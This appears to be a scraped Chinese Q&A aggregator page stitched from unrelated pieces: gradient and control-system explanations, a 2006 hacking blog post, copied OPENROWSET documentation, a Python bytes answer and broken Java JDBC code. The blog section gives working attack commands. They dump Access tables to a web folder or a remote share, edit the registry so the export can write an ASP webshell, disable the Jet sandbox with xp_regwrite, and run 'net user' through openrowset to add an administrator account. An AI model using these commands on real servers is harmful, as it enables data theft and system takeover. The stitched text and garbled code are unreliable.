梯度在单变量和多变量函数中的含义

梯度在单变量和多变量函数中的含义,第1张

在单变量的函数中,梯度其实就是函数的微分,代表着函数在某个给定点的切线的斜率。

在多变量函数中,梯度是一个向量,向量有方向,梯度的方向就指出了函数在给定点的上升最快的方向。

梯度的方向是函数在给定点上升最快的方向,那么梯度的反方向就是函数在给定点下降最快的方向,这正是我们所需要的。所以我们只要沿着梯度的方向一直走,就能走到局部的最低点。

变量系统(multivariable systems)是指具有多个输入量或输出量的系统,又称多输入多输出系统。

不同控制系统的输入与输出的数目是不同的。仅有一个输入与一个输出的系统称为单输入一单输出系统,简称为单变量系统。这只是从外部变量的数目而言,但系统内部变量可以是多种形式的。

当系统的输入或输出变量的数目多于一个时,就称为多变量系统,它是现代控制理论研究的主要对象。在数学上,以状态空间法为基础来研究与分析多变量系统。

概念:

按照系统输入信号和输出信号的数目,可将系统分为单输入一单输出( SISO)系统和多输入一多输出( MIMO)系统。

单输入一单输出系统通常称为单变量系统,这种系统只有一个输入(不包括扰动输入)和一个输出。多输入一多输出系统通常称为多变量系统,有多个输入或多个输出。单变量系统可以视为多变量系统的特例。

在自动控制系统中,许多简单的或基本的控制系统往往都是单变量系统。例如过程控制中的压力或流量调节系统,天线的随动系统,坦克的火炮稳定装置等。线性定常的单变量系统的特性常采用传递函数来描述。

单变量控制系统的分析和设计方法已经相当成熟,主要有频率响应法和根轨迹法。基于这些方法的单变量系统的控制理论,称为经典控制理论。此外,随着现代控制理论的出现,也可采用状态空间法来分析和设计单变量控制系统。

SELECT into [testtxt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成testtxt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\40\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT into [testtxt] in '\\yourip\share' 'text;' from admin

当初没有注意到 SQL注入Access导出WebShell之后还有个问号,很激动的测试了一番,结果发现了一个问题:

在Text中加入asp格式,结果在生成的ASP文件中,所有字符形式的字段都是用引号包含的,即使字段是数值型的,用chr(数值字段)转换后,所看到的还是用引号包含的。这样的ASP文件只是名称符合而已,如何让其内容也符合呢?

在网上搜了一下,找到了Into的相关格式语句:

SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]}

destination 欲插入数据的外部表格名称。

tableexpression 表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。

path 包含该表格的完整路径名称。

type 数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3x,Paradox 4x,或 Btrieve)

例如:下面这两段的意义相同

PartAFROM Table IN ""[dBASE IV;DATABASE=C:\\DBASE\\DATA\\SALES;];

PartBFROM Table IN "C:\\DBASE\\DATA\\SALES" "dBASE IV;"

看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:

SELECT into [test] in 'd:\web\' 'dBASE IV;' from admin

结果在d:\web目录内生成了一个testDBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\40

在其下的ISAM Formats\中显示了 ISAM格式分别是:

dbase 50 dBASE 5 (dbf)

dbase III dBASE III (dbf)

dabse IV dBASE IV (dbf)

excel 30 Microsoft Excel 3 (xls)

excel 40 Microsoft Excel 4 (xls)

excel 50 Microsoft Excel 5-7 (xls)

excel 80 Microsoft Excel 97-2000 (xls)

exchange 40 Exchange() outlook程序

html export HTML 文档 (html;htm)

html import HTML 文档 (html;htm)

jet 2x Jet 2x

jet 3x Jet 3x

lotus wj2 Lotus 1-2-3 WJ2 (wj2)

lotus wj3 Lotus

Lotus WK1 Lotus 1-2-3 WK1 (wk1)

Lotus WK3 Lotus

Lotus WK4 Lotus

Outlook 90 Exchange

Paradox 3X Paradox 3 (db)

Paradox 4X Paradox 4 (db)

Paradox 5X Paradox 5 (db)

Paradox 7X Paradox 7-8 (db)

Text 文本文件 (txt;csv;tab;asc)

看,其中还可以生成xls格式,试一下,更改代码为:

select into jmdcw in 'd:\web\' 'excel 40;' from admin

哈哈,又生成了一个xls格式(jmdcwxls)的文件。

OK,我们打开这个xls格式的来看一下内容,其中的字符型字段并没有用引号包含,这样的话,是不是可以有所突码呢?

再看一下HKEY_LOCALMACHINE\Software\Microsoft\Jet\40\Engines下的各个键值,除了text中有DisableExtension这个项外,EXCEL和Lotus也有这个字符串项。lake2说的是在Text中增加,那么我加到Excel的这个值中,更改后的DisableExtension值为“!xls,asp”。如果这时执行导出命令,还是会出现“不能更新,数据库或对象为只读”。怎么解决呢?注销一下,就不出现错误了,执行:

select into [testasp] in 'd:\web\' 'excel 40;' from admin

注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。

执行后,在d:\web目录中生成了一个testasp文件,将其在iis中运行,ASP的功能发挥出来了。

高兴,高兴的过早了,要生成asp有两个条件。1,在Access数据库环境中,是不可以执行多语句,用union?结果,出现了另一种错误,动作查询不能作为行的来源。2、需要更改注册表及让服务器注销或重启,而要能达到这样的要求,还用这么费劲生成asp文件吗,因为权力早就在webshell之上了。

唉,难怪lake2在标题的webshell后加了个,鸡肋啊,就是鸡肋。

但这样的条件在sql环境内,却很好实现,因为连接 sql数据库的最低权限用户一般都具备执行多语句和修改注册表的权力,但将这样的语句放入sql的查询分析器中执行,却对那个in横挑鼻子竖挑眼,试了好长时间也没有一点进展,只好做罢!

不过,这个语句虽然不能生成webshell,但用来导出部分表中的内容,却是再好不过了,假设我们已经有了某个webshell了,其数据库有一二百兆,其用户表中的用户有1万,如果我们只要这个user表中的内容,如何做?我之前的日志中有一段复制数据的代码,但那个有些麻烦,而现在,只要这么一句,就可以得到指定表中的内容了,(注:只针对Access数据库),所执行的语句就是:

select into [user] in 'd:\web\' 'excel 40;' from user

这样,我们只要下载这个userxls,就可以看到user表中的内容了。哈哈,又一种导出Access数据库中部分表内容的方法出现了。

寂寞的刺猬 草写于2006年12月9日,我不想纪念什么,但没办法,有些记忆不会那么快就消失掉,这里用代码来做一个纪念吧!

在《X档案》上看到了一种用access得到系统权限的方法:

在取得sa权限的时候,先修改注册表:

exec masterdboxp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\40\Engines','SandBoxmode','REG_DWORD',0

禁用沙盒模式,然后执行:

select from openrowset('MicrosoftJetOLEDB40',';database=c:\windows\system32\ias\iasmdb','select shell("net user jm 123456 /add")');

这样就能增加一下jm用户了。然后再加入管理员组,就成管理员了。

附:

OPENROWSET

包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使用 OLE DB 连接并访问远程数据的一次性的、特殊的方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE DB 提供程序的能力,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集,然而 OPENROWSET 只返回第一个。

语法

OPENROWSET ( 'provider_name'

, { 'datasource' ; 'user_id' ; 'password'

| 'provider_string' }

, { [ catalog] [ schema] object

| 'query' }

)

参数

'provider_name'

字符串,它代表在注册表中指定的 OLE DB 提供程序的友好名。provider_name 没有默认值。

'datasource'

字符串常量,它对应着某个特定的 OLE DB 数据源。datasource 是将被传递到提供程序 IDBProperties 接口以初始化提供程序的 DBPROP_INIT_DATASOURCE 属性。通常,这个字符串包含数据库文件的名称、数据库服务器的名称,或者提供程序能理解的用于查找数据库的名称。

'user_id'

字符串常量,它是传递到指定 OLE DB 提供程序的用户名。user_id 为连接指定安全上下文,并将它作为 DBPROP_AUTH_USERID 属性传递进来以初始化提供程序。

'password'

字符串常量,它是将被传递到 OLE DB 提供程序的用户密码。当初始化提供程序时,将 password 作为 DBPROP_AUTH_PASSWORD 属性传递进来。

'provider_string'

提供程序特定的连接字符串,将它作为 DBPROP_INIT_PROVIDERSTRING 属性传递进来以初始化 OLE DB 提供程序。通常 provider_string 封装初始化提供程序所需的所有连接信息。

catalog

目录或数据库的名称,其中驻留着指定的对象。

schema

架构的名称或指定对象的对象所有者名称。

object

对象名称,它唯一地标识出将要 *** 作的对象。

'query'

是字符串常量,发送到提供程序并由提供程序执行。Microsoft® SQL Server™ 不处理该查询,但处理由提供程序返回的查询结果(直接传递查询)。对于有些提供程序,它们并没有通过表名而是通过命令语言表现自己的表格格式数据,那么将直接传递查询用于这些提供程序是非常有用的。只要查询提供程序支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持直接传递查询。有关更多信息,请参见 SQL Server OLE DB 程序员参考。

注释

如果 OLE DB 提供程序在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 提供程序并不支持目录和架构,那么可以省略 catalog 及 schema 的值。

如果提供程序只支持架构名,那么必须指定一个两部分名称,形式为 schemaobject。如果提供程序只支持目录名,那么必须指定一个三部分名称,形式为 catalogschemaobject。

OPENROWSET 不接受参数变量。

权限

OPENROWSET 权限由传递到 OLE DB 提供程序的用户名的权限确定。

示例

A 将 OPENROWSET 与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用

下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器上。从 datasource、user_id 及 password 中初始化提供程序,并且使用 SELECT 语句定义返回的行集。

USE pubs

GO

SELECT a

FROM OPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',

'SELECT FROM pubsdboauthors ORDER BY au_lname, au_fname') AS a

GO

B 将 OPENROWSET 与对象及用于 ODBC 的 OLE DB 提供程序一起使用

下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的 provider_string 进行初始化,定义返回的行集时使用 catalogschemaobject 语法。

USE pubs

GO

SELECT a

FROM OPENROWSET('MSDASQL',

'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',

pubsdboauthors) AS a

ORDER BY aau_lname, aau_fname

GO

C 使用用于 Jet 的 Microsoft OLE DB 提供程序

下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft Access Northwind 数据库中的 orders 表。

说明 下面的示例假定已经安装了 Access。

USE pubs

GO

SELECT a

FROM OPENROWSET('MicrosoftJetOLEDB40',

'c:\MSOffice\Access\Samples\northwindmdb';'admin';'mypwd', Orders)

AS a

GO

D 使用 OPENROWSET 和 INNER JOIN 中的另一个表

下面的示例从本地 SQL Server Northwind 数据库的 customers 表中,以及存储在相同计算机上 Access Northwind 数据库的 orders 表中选择所有数据

说明 下面的示例假定已经安装了 Access。

USE pubs

GO

SELECT c, o

FROM NorthwinddboCustomers AS c INNER JOIN

OPENROWSET('MicrosoftJetOLEDB40',

'c:\MSOffice\Access\Samples\northwindmdb';'admin';'mypwd', Orders)

AS o

ON cCustomerID = oCustomerID

GO

字符串前加 b

作用:python3x里默认的str是(py2x里的)unicode, bytes是(py2x)的str, b”“前缀代表的就是bytes

python2x里, b前缀没什么具体意义, 只是为了兼容python3x的这种写法

你的print的用法是python2的用法,试试print('connect {0}'format(conn2dbuser))

没错才怪,编码问题 等等我帮你修改下看看

ResultSet rs=sexecuteQuery(sql);

String temp1 = null;

if(rsnext())

{

temp1 = rsgetString(1);

JoutputsetText(temp1);

JOptionPaneshowMessageDialog(null,"查询成功");

}else{

JOptionPaneshowMessageDialog(null,"查询失败");

}

rsclose();

rs=sexecuteQuery(sql2);

if(rs2next()){

temp = rsgetString(1);

JoutputsetText(temp);

JOptionPaneshowMessageDialog(null,"查询成功");

}else{

JOptionPaneshowMessageDialog(null,"查询失败");

}

rsclose();

rs = sexecuteQuery(sql3);

if(rs3next()){

temp=rs3getString(1);

JoutputsetText(postaddress3);

}

rsclose();

rs=sexecuteQuery(sql4);

if(rs4next()){

temp=rs4getString(1);

int k=5;

int n=5;

int x=0;

int y=x+k;

//String q=postaddress4substring(x, y);

JoutputsetText(temp);

int len=postaddress4length();

while(x<x+y){

if(tempsubstring(x, y)==sql4substring(x, y)){

x=y+1;

k=n;

if(x+k>len){

k=len-x;

//JOptionPaneshowMessageDialog(null,postaddress4substring(i, y));

postaddress4substring(x, y);

} else{

k=k-1;

postaddress4substring(x, y);

break;

}

}

}

rsclose();

要废物利用,不要申请那么多变量

用的是记事本 你看看吧

以上就是关于梯度在单变量和多变量函数中的含义全部的内容,包括:梯度在单变量和多变量函数中的含义、ACCESS数据库多表查询及导出、Python连接数据库的过程中,在print数据源变量的信息时,总是多打印一个字符b等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/sjk/9721651.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-01
下一篇2023-05-01

发表评论

登录后才能评论

评论列表(0条)

    保存